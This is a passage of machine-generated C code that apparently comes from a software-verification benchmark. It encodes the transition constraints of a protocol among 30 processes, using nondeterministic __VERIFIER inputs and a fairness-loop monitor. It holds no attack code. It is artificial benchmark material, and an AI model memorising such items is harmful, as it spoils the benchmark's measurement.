max_prop)) && (proposed28 <= max_prop)) && (proposed29 <= max_prop)) && ((((((((((((((((((((((((((((((proposed0 == max_prop) || (proposed1 == max_prop)) || (proposed2 == max_prop)) || (proposed3 == max_prop)) || (proposed4 == max_prop)) || (proposed5 == max_prop)) || (proposed6 == max_prop)) || (proposed7 == max_prop)) || (proposed8 == max_prop)) || (proposed9 == max_prop)) || (proposed10 == max_prop)) || (proposed11 == max_prop)) || (proposed12 == max_prop)) || (proposed13 == max_prop)) || (proposed14 == max_prop)) || (proposed15 == max_prop)) || (proposed16 == max_prop)) || (proposed17 == max_prop)) || (proposed18 == max_prop)) || (proposed19 == max_prop)) || (proposed20 == max_prop)) || (proposed21 == max_prop)) || (proposed22 == max_prop)) || (proposed23 == max_prop)) || (proposed24 == max_prop)) || (proposed25 == max_prop)) || (proposed26 == max_prop)) || (proposed27 == max_prop)) || (proposed28 == max_prop)) || (proposed29 == max_prop))))))))))))))))))))))))))))))))) && (delta == _diverge_delta)) && ((((( !((_EL_U_3895 || ( !(( !inc_max_prop) || _EL_U_3893))) || (_EL_U_3890 || ( !((1.0 <= _diverge_delta) || _EL_U_3888))))) && ( !_J3915)) && ( !_J3921)) && ( !_J3927)) && ( !_J3933))); while (__steps_to_fair >= 0 && __ok) { if ((((_J3915 && _J3921) && _J3927) && _J3933)) { __steps_to_fair = __VERIFIER_nondet_int(); } else { __steps_to_fair--; } _x__diverge_delta = __VERIFIER_nondet_float(); _x_delta = __VERIFIER_nondet_float(); _x_p6_l0 = __VERIFIER_nondet_bool(); _x_max_prop = __VERIFIER_nondet_float(); _x_proposed29 = __VERIFIER_nondet_float(); _x_p6_l1 = __VERIFIER_nondet_bool(); _x_proposed28 = __VERIFIER_nondet_float(); _x_p6_x = __VERIFIER_nondet_float(); _x_proposed27 = __VERIFIER_nondet_float(); _x_p26_l0 = __VERIFIER_nondet_bool(); _x_proposed26 = __VERIFIER_nondet_float(); _x_p26_l1 = __VERIFIER_nondet_bool(); _x_proposed25 = __VERIFIER_nondet_float(); _x_p6_saved_max = __VERIFIER_nondet_float(); _x_p26_x = __VERIFIER_nondet_float(); _x_proposed24 = __VERIFIER_nondet_float(); _x_proposed23 = __VERIFIER_nondet_float(); _x_proposed22 = __VERIFIER_nondet_float(); _x_p26_saved_max = __VERIFIER_nondet_float(); _x_proposed21 = __VERIFIER_nondet_float(); _x_proposed20 = __VERIFIER_nondet_float(); _x_proposed19 = __VERIFIER_nondet_float(); _x_proposed18 = __VERIFIER_nondet_float(); _x_proposed17 = __VERIFIER_nondet_float(); _x_p7_l0 = __VERIFIER_nondet_bool(); _x_proposed16 = __VERIFIER_nondet_float(); _x_p7_l1 = __VERIFIER_nondet_bool(); _x_proposed15 = __VERIFIER_nondet_float(); _x_p7_x = __VERIFIER_nondet_float(); _x_proposed14 = __VERIFIER_nondet_float(); _x_p27_l0 = __VERIFIER_nondet_bool(); _x_proposed13 = __VERIFIER_nondet_float(); _x_p27_l1 = __VERIFIER_nondet_bool(); _x_proposed12 = __VERIFIER_nondet_float(); _x_p7_saved_max = __VERIFIER_nondet_float(); _x_p27_x = __VERIFIER_nondet_float(); _x_proposed11 = __VERIFIER_nondet_float(); _x_proposed10 = __VERIFIER_nondet_float(); _x_proposed9 = __VERIFIER_nondet_float(); _x_p27_saved_max = __VERIFIER_nondet_float(); _x_proposed8 = __VERIFIER_nondet_float(); _x_proposed7 = __VERIFIER_nondet_float(); _x_proposed6 = __VERIFIER_nondet_float(); _x_proposed5 = __VERIFIER_nondet_float(); _x_p8_l0 = __VERIFIER_nondet_bool(); _x_proposed4 = __VERIFIER_nondet_float(); _x_p8_l1 = __VERIFIER_nondet_bool(); _x_proposed3 = __VERIFIER_nondet_float(); _x_proposed2 = __VERIFIER_nondet_float(); _x_p8_x = __VERIFIER_nondet_float(); _x_proposed1 = __VERIFIER_nondet_float(); _x_p28_l0 = __VERIFIER_nondet_bool(); _x_proposed0 = __VERIFIER_nondet_float(); _x_p28_l1 = __VERIFIER_nondet_bool(); _x_p8_saved_max = __VERIFIER_nondet_float(); _x_p28_x = __VERIFIER_nondet_float(); _x_p28_saved_max = __VERIFIER_nondet_float(); _x_p9_l0 = __VERIFIER_nondet_bool(); _x_p9_l1 = __VERIFIER_nondet_bool(); _x_p9_x = __VERIFIER_nondet_float(); _x_p29_l0 = __VERIFIER_nondet_bool(); _x_p29_l1 = __VERIFIER_nondet_bool(); _x_p9_saved_max = __VERIFIER_nondet_float(); _x_p29_x = __VERIFIER_nondet_float(); _x_p29_saved_max = __VERIFIER_nondet_float(); _x_p10_l0 = __VERIFIER_nondet_bool(); _x_p10_l1 = __VERIFIER_nondet_bool(); _x_p10_x = __VERIFIER_nondet_float(); _x__J3933 = __VERIFIER_nondet_bool(); _x_p10_saved_max = __VERIFIER_nondet_float(); _x__J3927 = __VERIFIER_nondet_bool(); _x__J3921 = __VERIFIER_nondet_bool(); _x__J3915 = __VERIFIER_nondet_bool(); _x__EL_U_3888 = __VERIFIER_nondet_bool(); _x_inc_max_prop = __VERIFIER_nondet_bool(); _x_id1 = __VERIFIER_nondet_bool(); _x_id0 = __VERIFIER_nondet_bool(); _x__EL_U_3890 = __VERIFIER_nondet_bool(); _x__EL_U_3893 = __VERIFIER_nondet_bool(); _x_p11_l0 = __VERIFIER_nondet_bool(); _x_id2 = __VERIFIER_nondet_bool(); _x_p11_l1 = __VERIFIER_nondet_bool(); _x_id3 = __VERIFIER_nondet_bool(); _x__EL_U_3895 = __VERIFIER_nondet_bool(); _x_p11_x = __VERIFIER_nondet_float(); _x_id4 = __VERIFIER_nondet_bool(); _x_p11_saved_max = __VERIFIER_nondet_float(); _x_turn1 = __VERIFIER_nondet_bool(); _x_turn0 = __VERIFIER_nondet_bool(); _x_turn2 = __VERIFIER_nondet_bool(); _x_turn3 = __VERIFIER_nondet_bool(); _x_turn4 = __VERIFIER_nondet_bool(); _x_p12_l0 = __VERIFIER_nondet_bool(); _x_p12_l1 = __VERIFIER_nondet_bool(); _x_p12_x = __VERIFIER_nondet_float(); _x_p12_saved_max = __VERIFIER_nondet_float(); _x_p13_l0 = __VERIFIER_nondet_bool(); _x_p13_l1 = __VERIFIER_nondet_bool(); _x_p13_x = __VERIFIER_nondet_float(); _x_p13_saved_max = __VERIFIER_nondet_float(); _x_p14_l0 = __VERIFIER_nondet_bool(); _x_p14_l1 = __VERIFIER_nondet_bool(); _x_p14_x = __VERIFIER_nondet_float(); _x_p14_saved_max = __VERIFIER_nondet_float(); _x_p15_l0 = __VERIFIER_nondet_bool(); _x_p15_l1 = __VERIFIER_nondet_bool(); _x_p15_x = __VERIFIER_nondet_float(); _x_p15_saved_max = __VERIFIER_nondet_float(); _x_p16_l0 = __VERIFIER_nondet_bool(); _x_p16_l1 = __VERIFIER_nondet_bool(); _x_p16_x = __VERIFIER_nondet_float(); _x_p16_saved_max = __VERIFIER_nondet_float(); _x_p17_l0 = __VERIFIER_nondet_bool(); _x_p17_l1 = __VERIFIER_nondet_bool(); _x_p17_x = __VERIFIER_nondet_float(); _x_p17_saved_max = __VERIFIER_nondet_float(); _x_p18_l0 = __VERIFIER_nondet_bool(); _x_p18_l1 = __VERIFIER_nondet_bool(); _x_p18_x = __VERIFIER_nondet_float(); _x_p18_saved_max = __VERIFIER_nondet_float(); _x_p19_l0 = __VERIFIER_nondet_bool(); _x_p19_l1 = __VERIFIER_nondet_bool(); _x_p19_x = __VERIFIER_nondet_float(); _x_p19_saved_max = __VERIFIER_nondet_float(); _x_p0_l0 = __VERIFIER_nondet_bool(); _x_p0_l1 = __VERIFIER_nondet_bool(); _x_p0_x = __VERIFIER_nondet_float(); _x_p20_l0 = __VERIFIER_nondet_bool(); _x_p20_l1 = __VERIFIER_nondet_bool(); _x_p0_saved_max = __VERIFIER_nondet_float(); _x_p20_x = __VERIFIER_nondet_float(); _x_p20_saved_max = __VERIFIER_nondet_float(); _x_p1_l0 = __VERIFIER_nondet_bool(); _x_p1_l1 = __VERIFIER_nondet_bool(); _x_p1_x = __VERIFIER_nondet_float(); _x_p21_l0 = __VERIFIER_nondet_bool(); _x_p21_l1 = __VERIFIER_nondet_bool(); _x_p1_saved_max = __VERIFIER_nondet_float(); _x_p21_x = __VERIFIER_nondet_float(); _x_p21_saved_max = __VERIFIER_nondet_float(); _x_p2_l0 = __VERIFIER_nondet_bool(); _x_p2_l1 = __VERIFIER_nondet_bool(); _x_p2_x = __VERIFIER_nondet_float(); _x_p22_l0 = __VERIFIER_nondet_bool(); _x_p22_l1 = __VERIFIER_nondet_bool(); _x_p2_saved_max = __VERIFIER_nondet_float(); _x_p22_x = __VERIFIER_nondet_float(); _x_p22_saved_max = __VERIFIER_nondet_float(); _x_p3_l0 = __VERIFIER_nondet_bool(); _x_p3_l1 = __VERIFIER_nondet_bool(); _x_p3_x = __VERIFIER_nondet_float(); _x_p23_l0 = __VERIFIER_nondet_bool(); _x_p23_l1 = __VERIFIER_nondet_bool(); _x_p3_saved_max = __VERIFIER_nondet_float(); _x_p23_x = __VERIFIER_nondet_float(); _x_p23_saved_max = __VERIFIER_nondet_float(); _x_p4_l0 = __VERIFIER_nondet_bool(); _x_p4_l1 = __VERIFIER_nondet_bool(); _x_p4_x = __VERIFIER_nondet_float(); _x_p24_l0 = __VERIFIER_nondet_bool(); _x_p24_l1 = __VERIFIER_nondet_bool(); _x_p4_saved_max = __VERIFIER_nondet_float(); _x_p24_x = __VERIFIER_nondet_float(); _x_p24_saved_max = __VERIFIER_nondet_float(); _x_p5_l0 = __VERIFIER_nondet_bool(); _x_p5_l1 = __VERIFIER_nondet_bool(); _x_p5_x = __VERIFIER_nondet_float(); _x_p25_l0 = __VERIFIER_nondet_bool(); _x_p25_l1 = __VERIFIER_nondet_bool(); _x_p5_saved_max = __VERIFIER_nondet_float(); _x_p25_x = __VERIFIER_nondet_float(); _x_p25_saved_max = __VERIFIER_nondet_float(); __ok = (((((((((((((( !_x_p29_l0) && ( !_x_p29_l1)) || (_x_p29_l0 && ( !_x_p29_l1))) || ((_x_p29_l1 && ( !_x_p29_l0)) || (_x_p29_l0 && _x_p29_l1))) && ( !(_x_proposed29 <= 0.0))) && ((_x_p29_x <= _x_proposed29) || ( !(_x_p29_l1 && ( !_x_p29_l0))))) && (((((p29_l0 == _x_p29_l0) && (p29_l1 == _x_p29_l1)) && ((delta + (p29_x + (-1.0 * _x_p29_x))) == 0.0)) && ((p29_saved_max == _x_p29_saved_max) && (proposed29 == _x_proposed29))) || ( !(( !(delta <= 0.0)) || ( !(turn4 && (turn3 && (turn2 && (turn0 && ( !turn1)))))))))) && (((((_x_p29_l1 && ( !_x_p29_l0)) && (_x_p29_x == 0.0)) && ((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed29 == _x_proposed29))) && (max_prop == _x_p29_saved_max)) || ( !((( !p29_l0) && ( !p29_l1)) && ((turn4 && (turn3 && (turn2 && (turn0 && ( !turn1))))) && (delta == 0.0)))))) && (((max_prop == _x_p29_saved_max) && (((_x_p29_l0 && ( !_x_p29_l1)) && (_x_p29_x == 0.0)) && ((_x_id4 && (_x_id3 && (_x_id2 && (_x_id0 && ( !_x_id1))))) && (proposed29 == _x_proposed29)))) || ( !((p29_l1 && ( !p29_l0)) && ((turn4 && (turn3 && (turn2 && (turn0 && ( !turn1))))) && (delta == 0.0)))))) && ((((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed29 == _x_proposed29)) && ((max_prop == _x_p29_saved_max) && (((( !_x_p29_l0) && ( !_x_p29_l1)) && (_x_p29_x == 0.0)) || ((_x_p29_l0 && _x_p29_l1) && (p29_x == _x_p29_x))))) || ( !((p29_l0 && ( !p29_l1)) && ((turn4 && (turn3 && (turn2 && (turn0 && ( !turn1))))) && (delta == 0.0)))))) && (((max_prop == _x_p29_saved_max) && (((( !_x_p29_l0) && ( !_x_p29_l1)) && (p29_x == _x_p29_x)) && ((_x_id4 && (_x_id3 && (_x_id2 && (_x_id1 && ( !_x_id0))))) && ( !(proposed29 <= _x_proposed29))))) || ( !((p29_l0 && p29_l1) && ((turn4 && (turn3 && (turn2 && (turn0 && ( !turn1))))) && (delta == 0.0)))))) && (((((((((((( !_x_p28_l0) && ( !_x_p28_l1)) || (_x_p28_l0 && ( !_x_p28_l1))) || ((_x_p28_l1 && ( !_x_p28_l0)) || (_x_p28_l0 && _x_p28_l1))) && ( !(_x_proposed28 <= 0.0))) && ((_x_p28_x <= _x_proposed28) || ( !(_x_p28_l1 && ( !_x_p28_l0))))) && (((((p28_l0 == _x_p28_l0) && (p28_l1 == _x_p28_l1)) && ((delta + (p28_x + (-1.0 * _x_p28_x))) == 0.0)) && ((p28_saved_max == _x_p28_saved_max) && (proposed28 == _x_proposed28))) || ( !(( !(delta <= 0.0)) || ( !(turn4 && (turn3 && (turn2 && (( !turn0) && ( !turn1)))))))))) && (((((_x_p28_l1 && ( !_x_p28_l0)) && (_x_p28_x == 0.0)) && ((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed28 == _x_proposed28))) && (max_prop == _x_p28_saved_max)) || ( !((( !p28_l0) && ( !p28_l1)) && ((turn4 && (turn3 && (turn2 && (( !turn0) && ( !turn1))))) && (delta == 0.0)))))) && (((max_prop == _x_p28_saved_max) && (((_x_p28_l0 && ( !_x_p28_l1)) && (_x_p28_x == 0.0)) && ((_x_id4 && (_x_id3 && (_x_id2 && (( !_x_id0) && ( !_x_id1))))) && (proposed28 == _x_proposed28)))) || ( !((p28_l1 && ( !p28_l0)) && ((turn4 && (turn3 && (turn2 && (( !turn0) && ( !turn1))))) && (delta == 0.0)))))) && ((((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed28 == _x_proposed28)) && ((max_prop == _x_p28_saved_max) && (((( !_x_p28_l0) && ( !_x_p28_l1)) && (_x_p28_x == 0.0)) || ((_x_p28_l0 && _x_p28_l1) && (p28_x == _x_p28_x))))) || ( !((p28_l0 && ( !p28_l1)) && ((turn4 && (turn3 && (turn2 && (( !turn0) && ( !turn1))))) && (delta == 0.0)))))) && (((max_prop == _x_p28_saved_max) && (((( !_x_p28_l0) && ( !_x_p28_l1)) && (p28_x == _x_p28_x)) && ((_x_id4 && (_x_id3 && (_x_id2 && (_x_id1 && ( !_x_id0))))) && ( !(proposed28 <= _x_proposed28))))) || ( !((p28_l0 && p28_l1) && ((turn4 && (turn3 && (turn2 && (( !turn0) && ( !turn1))))) && (delta == 0.0)))))) && (((((((((((( !_x_p27_l0) && ( !_x_p27_l1)) || (_x_p27_l0 && ( !_x_p27_l1))) || ((_x_p27_l1 && ( !_x_p27_l0)) || (_x_p27_l0 && _x_p27_l1))) && ( !(_x_proposed27 <= 0.0))) && ((_x_p27_x <= _x_proposed27) || ( !(_x_p27_l1 && ( !_x_p27_l0))))) && (((((p27_l0 == _x_p27_l0) && (p27_l1 == _x_p27_l1)) && ((delta + (p27_x + (-1.0 * _x_p27_x))) == 0.0)) && ((p27_saved_max == _x_p27_saved_max) && (proposed27 == _x_proposed27))) || ( !(( !(delta <= 0.0)) || ( !(turn4 && (turn3 && (( !turn2) && (turn0 && turn1))))))))) && (((((_x_p27_l1 && ( !_x_p27_l0)) && (_x_p27_x == 0.0)) && ((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed27 == _x_proposed27))) && (max_prop == _x_p27_saved_max)) || ( !((( !p27_l0) && ( !p27_l1)) && ((turn4 && (turn3 && (( !turn2) && (turn0 && turn1)))) && (delta == 0.0)))))) && (((max_prop == _x_p27_saved_max) && (((_x_p27_l0 && ( !_x_p27_l1)) && (_x_p27_x == 0.0)) && ((_x_id4 && (_x_id3 && (( !_x_id2) && (_x_id0 && _x_id1)))) && (proposed27 == _x_proposed27)))) || ( !((p27_l1 && ( !p27_l0)) && ((turn4 && (turn3 && (( !turn2) && (turn0 && turn1)))) && (delta == 0.0)))))) && ((((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed27 == _x_proposed27)) && ((max_prop == _x_p27_saved_max) && (((( !_x_p27_l0) && ( !_x_p27_l1)) && (_x_p27_x == 0.0)) || ((_x_p27_l0 && _x_p27_l1) && (p27_x == _x_p27_x))))) || ( !((p27_l0 && ( !p27_l1)) && ((turn4 && (turn3 && (( !turn2) && (turn0 && turn1)))) && (delta == 0.0)))))) && (((max_prop == _x_p27_saved_max) && (((( !_x_p27_l0) && ( !_x_p27_l1)) && (p27_x == _x_p27_x)) && ((_x_id4 && (_x_id3 && (_x_id2 && (_x_id1 && ( !_x_id0))))) && ( !(proposed27 <= _x_proposed27))))) || ( !((p27_l0 && p27_l1) && ((turn4 && (turn3 && (( !turn2) && (turn0 && turn1)))) && (delta == 0.0)))))) && (((((((((((( !_x_p26_l0) && ( !_x_p26_l1)) || (_x_p26_l0 && ( !_x_p26_l1))) || ((_x_p26_l1 && ( !_x_p26_l0)) || (_x_p26_l0 && _x_p26_l1))) && ( !(_x_proposed26 <= 0.0))) && ((_x_p26_x <= _x_proposed26) || ( !(_x_p26_l1 && ( !_x_p26_l0))))) && (((((p26_l0 == _x_p26_l0) && (p26_l1 == _x_p26_l1)) && ((delta + (p26_x + (-1.0 * _x_p26_x))) == 0.0)) && ((p26_saved_max == _x_p26_saved_max) && (proposed26 == _x_proposed26))) || ( !(( !(delta <= 0.0)) || ( !(turn4 && (turn3 && (( !turn2) && (turn1 && ( !turn0)))))))))) && (((((_x_p26_l1 && ( !_x_p26_l0)) && (_x_p26_x == 0.0)) && ((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed26 == _x_proposed26))) && (max_prop == _x_p26_saved_max)) || ( !((( !p26_l0) && ( !p26_l1)) && ((turn4 && (turn3 && (( !turn2) && (turn1 && ( !turn0))))) && (delta == 0.0)))))) && (((max_prop == _x_p26_saved_max) && (((_x_p26_l0 && ( !_x_p26_l1)) && (_x_p26_x == 0.0)) && ((_x_id4 && (_x_id3 && (( !_x_id2) && (_x_id1 && ( !_x_id0))))) && (proposed26 == _x_proposed26)))) || ( !((p26_l1 && ( !p26_l0)) && ((turn4 && (turn3 && (( !turn2) && (turn1 && ( !turn0))))) && (delta == 0.0)))))) && ((((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed26 == _x_proposed26)) && ((max_prop == _x_p26_saved_max) && (((( !_x_p26_l0) && ( !_x_p26_l1)) && (_x_p26_x == 0.0)) || ((_x_p26_l0 && _x_p26_l1) && (p26_x == _x_p26_x))))) || ( !((p26_l0 && ( !p26_l1)) && ((turn4 && (turn3 && (( !turn2) && (turn1 && ( !turn0))))) && (delta == 0.0)))))) && (((max_prop == _x_p26_saved_max) && (((( !_x_p26_l0) && ( !_x_p26_l1)) && (p26_x == _x_p26_x)) && ((_x_id4 && (_x_id3 && (_x_id2 && (_x_id1 && ( !_x_id0))))) && ( !(proposed26 <= _x_proposed26))))) || ( !((p26_l0 && p26_l1) && ((turn4 && (turn3 && (( !turn2) && (turn1 && ( !turn0))))) && (delta == 0.0)))))) && (((((((((((( !_x_p25_l0) && ( !_x_p25_l1)) || (_x_p25_l0 && ( !_x_p25_l1))) || ((_x_p25_l1 && ( !_x_p25_l0)) || (_x_p25_l0 && _x_p25_l1))) && ( !(_x_proposed25 <= 0.0))) && ((_x_p25_x <= _x_proposed25) || ( !(_x_p25_l1 && ( !_x_p25_l0))))) && (((((p25_l0 == _x_p25_l0) && (p25_l1 == _x_p25_l1)) && ((delta + (p25_x + (-1.0 * _x_p25_x))) == 0.0)) && ((p25_saved_max == _x_p25_saved_max) && (proposed25 == _x_proposed25))) || ( !(( !(delta <= 0.0)) || ( !(turn4 && (turn3 && (( !turn2) && (turn0 && ( !turn1)))))))))) && (((((_x_p25_l1 && ( !_x_p25_l0)) && (_x_p25_x == 0.0)) && ((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed25 == _x_proposed25))) && (max_prop == _x_p25_saved_max)) || ( !((( !p25_l0) && ( !p25_l1)) && ((turn4 && (turn3 && (( !turn2) && (turn0 && ( !turn1))))) && (delta == 0.0)))))) && (((max_prop == _x_p25_saved_max) && (((_x_p25_l0 && ( !_x_p25_l1)) && (_x_p25_x == 0.0)) && ((_x_id4 && (_x_id3 && (( !_x_id2) && (_x_id0 && ( !_x_id1))))) && (proposed25 == _x_proposed25)))) || ( !((p25_l1 && ( !p25_l0)) && ((turn4 && (turn3 && (( !turn2) && (turn0 && ( !turn1))))) && (delta == 0.0)))))) && ((((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed25 == _x_proposed25)) && ((max_prop == _x_p25_saved_max) && (((( !_x_p25_l0) && ( !_x_p25_l1)) && (_x_p25_x == 0.0)) || ((_x_p25_l0 && _x_p25_l1) && (p25_x == _x_p25_x))))) || ( !((p25_l0 && ( !p25_l1)) && ((turn4 && (turn3 && (( !turn2) && (turn0 && ( !turn1))))) && (delta == 0.0)))))) && (((max_prop == _x_p25_saved_max) && (((( !_x_p25_l0) && ( !_x_p25_l1)) && (p25_x == _x_p25_x)) && ((_x_id4 && (_x_id3 && (_x_id2 && (_x_id1 && ( !_x_id0))))) && ( !(proposed25 <= _x_proposed25))))) || ( !((p25_l0 && p25_l1) && ((turn4 && (turn3 && (( !turn2) && (turn0 && ( !turn1))))) && (delta == 0.0)))))) && (((((((((((( !_x_p24_l0) && ( !_x_p24_l1)) || (_x_p24_l0 && ( !_x_p24_l1))) || ((_x_p24_l1 && ( !_x_p24_l0)) || (_x_p24_l0 && _x_p24_l1))) && ( !(_x_proposed24 <= 0.0))) && ((_x_p24_x <= _x_proposed24) || ( !(_x_p24_l1 && ( !_x_p24_l0))))) && (((((p24_l0 == _x_p24_l0) && (p24_l1 == _x_p24_l1)) && ((delta + (p24_x + (-1.0 * _x_p24_x))) == 0.0)) && ((p24_saved_max == _x_p24_saved_max) && (proposed24 == _x_proposed24))) || ( !(( !(delta <= 0.0)) || ( !(turn4 && (turn3 && (( !turn2) && (( !turn0) && ( !turn1)))))))))) && (((((_x_p24_l1 && ( !_x_p24_l0)) && (_x_p24_x == 0.0)) && ((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed24 == _x_proposed24))) && (max_prop == _x_p24_saved_max)) || ( !((( !p24_l0) && ( !p24_l1)) && ((turn4 && (turn3 && (( !turn2) && (( !turn0) && ( !turn1))))) && (delta == 0.0)))))) && (((max_prop == _x_p24_saved_max) && (((_x_p24_l0 && ( !_x_p24_l1)) && (_x_p24_x == 0.0)) && ((_x_id4 && (_x_id3 && (( !_x_id2) && (( !_x_id0) && ( !_x_id1))))) && (proposed24 == _x_proposed24)))) || ( !((p24_l1 && ( !p24_l0)) && ((turn4 && (turn3 && (( !turn2) && (( !turn0) && ( !turn1))))) && (delta == 0.0)))))) && ((((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed24 == _x_proposed24)) && ((max_prop == _x_p24_saved_max) && (((( !_x_p24_l0) && ( !_x_p24_l1)) && (_x_p24_x == 0.0)) || ((_x_p24_l0 && _x_p24_l1) && (p24_x == _x_p24_x))))) || ( !((p24_l0 && ( !p24_l1)) && ((turn4 && (turn3 && (( !turn2) && (( !turn0) && ( !turn1))))) && (delta == 0.0)))))) && (((max_prop == _x_p24_saved_max) && (((( !_x_p24_l0) && ( !_x_p24_l1)) && (p24_x == _x_p24_x)) && ((_x_id4 && (_x_id3 && (_x_id2 && (_x_id1 && ( !_x_id0))))) && ( !(proposed24 <= _x_proposed24))))) || ( !((p24_l0 && p24_l1) && ((turn4 && (turn3 && (( !turn2) && (( !turn0) && ( !turn1))))) && (delta == 0.0)))))) && (((((((((((( !_x_p23_l0) && ( !_x_p23_l1)) || (_x_p23_l0 && ( !_x_p23_l1))) || ((_x_p23_l1 && ( !_x_p23_l0)) || (_x_p23_l0 && _x_p23_l1))) && ( !(_x_proposed23 <= 0.0))) && ((_x_p23_x <= _x_proposed23) || ( !(_x_p23_l1 && ( !_x_p23_l0))))) && (((((p23_l0 == _x_p23_l0) && (p23_l1 == _x_p23_l1)) && ((delta + (p23_x + (-1.0 * _x_p23_x))) == 0.0)) && ((p23_saved_max == _x_p23_saved_max) && (proposed23 == _x_proposed23))) || ( !(( !(delta <= 0.0)) || ( !(turn4 && (( !turn3) && (turn2 && (turn0 && turn1))))))))) && (((((_x_p23_l1 && ( !_x_p23_l0)) && (_x_p23_x == 0.0)) && ((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed23 == _x_proposed23))) && (max_prop == _x_p23_saved_max)) || ( !((( !p23_l0) && ( !p23_l1)) && ((turn4 && (( !turn3) && (turn2 && (turn0 && turn1)))) && (delta == 0.0)))))) && (((max_prop == _x_p23_saved_max) && (((_x_p23_l0 && ( !_x_p23_l1)) && (_x_p23_x == 0.0)) && ((_x_id4 && (( !_x_id3) && (_x_id2 && (_x_id0 && _x_id1)))) && (proposed23 == _x_proposed23)))) || ( !((p23_l1 && ( !p23_l0)) && ((turn4 && (( !turn3) && (turn2 && (turn0 && turn1)))) && (delta == 0.0)))))) && ((((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed23 == _x_proposed23)) && ((max_prop == _x_p23_saved_max) && (((( !_x_p23_l0) && ( !_x_p23_l1)) && (_x_p23_x == 0.0)) || ((_x_p23_l0 && _x_p23_l1) && (p23_x == _x_p23_x))))) || ( !((p23_l0 && ( !p23_l1)) && ((turn4 && (( !turn3) && (turn2 && (turn0 && turn1)))) && (delta == 0.0)))))) && (((max_prop == _x_p23_saved_max) && (((( !_x_p23_l0) && ( !_x_p23_l1)) && (p23_x == _x_p23_x)) && ((_x_id4 && (_x_id3 && (_x_id2 && (_x_id1 && ( !_x_id0))))) && ( !(proposed23 <= _x_proposed23))))) || ( !((p23_l0 && p23_l1) && ((turn4 && (( !turn3) && (turn2 && (turn0 && turn1)))) && (delta == 0.0)))))) && (((((((((((( !_x_p22_l0) && ( !_x_p22_l1)) || (_x_p22_l0 && ( !_x_p22_l1))) || ((_x_p22_l1 && ( !_x_p22_l0)) || (_x_p22_l0 && _x_p22_l1))) && ( !(_x_proposed22 <= 0.0))) && ((_x_p22_x <= _x_proposed22) || ( !(_x_p22_l1 && ( !_x_p22_l0))))) && (((((p22_l0 == _x_p22_l0) && (p22_l1 == _x_p22_l1)) && ((delta + (p22_x + (-1.0 * _x_p22_x))) == 0.0)) && ((p22_saved_max == _x_p22_saved_max) && (proposed22 == _x_proposed22))) || ( !(( !(delta <= 0.0)) || ( !(turn4 && (( !turn3) && (turn2 && (turn1 && ( !turn0)))))))))) && (((((_x_p22_l1 && ( !_x_p22_l0)) && (_x_p22_x == 0.0)) && ((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed22 == _x_proposed22))) && (max_prop == _x_p22_saved_max)) || ( !((( !p22_l0) && ( !p22_l1)) && ((turn4 && (( !turn3) && (turn2 && (turn1 && ( !turn0))))) && (delta == 0.0)))))) && (((max_prop == _x_p22_saved_max) && (((_x_p22_l0 && ( !_x_p22_l1)) && (_x_p22_x == 0.0)) && ((_x_id4 && (( !_x_id3) && (_x_id2 && (_x_id1 && ( !_x_id0))))) && (proposed22 == _x_proposed22)))) || ( !((p22_l1 && ( !p22_l0)) && ((turn4 && (( !turn3) && (turn2 && (turn1 && ( !turn0))))) && (delta == 0.0)))))) && ((((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed22 == _x_proposed22)) && ((max_prop == _x_p22_saved_max) && (((( !_x_p22_l0) && ( !_x_p22_l1)) && (_x_p22_x == 0.0)) || ((_x_p22_l0 && _x_p22_l1) && (p22_x == _x_p22_x))))) || ( !((p22_l0 && ( !p22_l1)) && ((turn4 && (( !turn3) && (turn2 && (turn1 && ( !turn0))))) && (delta == 0.0)))))) && (((max_prop == _x_p22_saved_max) && (((( !_x_p22_l0) && ( !_x_p22_l1)) && (p22_x == _x_p22_x)) && ((_x_id4 && (_x_id3 && (_x_id2 && (_x_id1 && ( !_x_id0))))) && ( !(proposed22 <= _x_proposed22))))) || ( !((p22_l0 && p22_l1) && ((turn4 && (( !turn3) && (turn2 && (turn1 && ( !turn0))))) && (delta == 0.0)))))) && (((((((((((( !_x_p21_l0) && ( !_x_p21_l1)) || (_x_p21_l0 && ( !_x_p21_l1))) || ((_x_p21_l1 && ( !_x_p21_l0)) || (_x_p21_l0 && _x_p21_l1))) && ( !(_x_proposed21 <= 0.0))) && ((_x_p21_x <= _x_proposed21) || ( !(_x_p21_l1 && ( !_x_p21_l0))))) && (((((p21_l0 == _x_p21_l0) && (p21_l1 == _x_p21_l1)) && ((delta + (p21_x + (-1.0 * _x_p21_x))) == 0.0)) 